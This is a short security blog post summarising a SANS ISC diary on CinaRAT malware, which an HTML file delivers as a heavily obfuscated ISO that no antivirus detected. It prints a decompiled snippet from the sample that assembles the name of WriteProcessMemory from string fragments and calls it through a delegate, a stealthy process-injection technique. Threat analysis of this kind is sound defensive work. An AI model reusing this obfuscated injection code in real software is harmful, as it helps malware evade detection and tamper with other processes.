[SANS ISC] CinaRAT Delivered Through HTML ID Attributes

blog.rootshell.be/2022/02/11/sans-isc-cinarat-delivered-through-html-id-attributes/

February 11, 2022

I published the following diary on isc.sans.edu: "*CinaRAT Delivered Through HTML ID Attributes*":

A few days ago, I wrote a diary about a malicious ISO file being dropped via a simple HTML file. I found another sample that again drops a malicious ISO file but this time, it is much more obfuscated and the VT score is… 0! Yes, not detected by any antivirus solution… [Read more]

```
// l2vD8Fitdl8qSVEp19.mEqmoE9UxRmX9ogcto
// Token: 0x06000071 RID: 113 RVA: 0x000046B0 File Offset: 0x000028B0
private static int gNIWLXUQgr(IntPtr \u0020, IntPtr \u0020, [In] [Out] byte[] \u0020, uint \u0020, out IntPtr \u0020)
{
    if (mEqmoE9UxRmX9ogcto.pk4kvj0MoV == null)
    {
        IntPtr ptr = mEqmoE9UxRmX9ogcto.REpW7ZaJOo(mEqmoE9UxRmX9ogcto.rebnLdQO7ZtY1tNvQrN(), mEqmoE9UxRmX9ogcto.TiboZJQlnuKhK08fHLp
          (mEqmoE9UxRmX9ogcto.RL1fIJQXO6TSm8fjgUV("Write "), mEqmoE9UxRmX9ogcto.RL1fIJQXO6TSm8fjgUV("Process "), "Memory"));
        mEqmoE9UxRmX9ogcto.pk4kvj0MoV = (mEqmoE9UxRmX9ogcto.f3gRcbEJHrDIP6Tkbk)Marshal.GetDelegateForFunctionPointer(ptr, typeof
          (mEqmoE9UxRmX9ogcto.f3gRcbEJHrDIP6Tkbk));
    }
    return mEqmoE9UxRmX9ogcto.pk4kvj0MoV(\u0020, \u0020, \u0020, \u0020, out \u0020);
}
```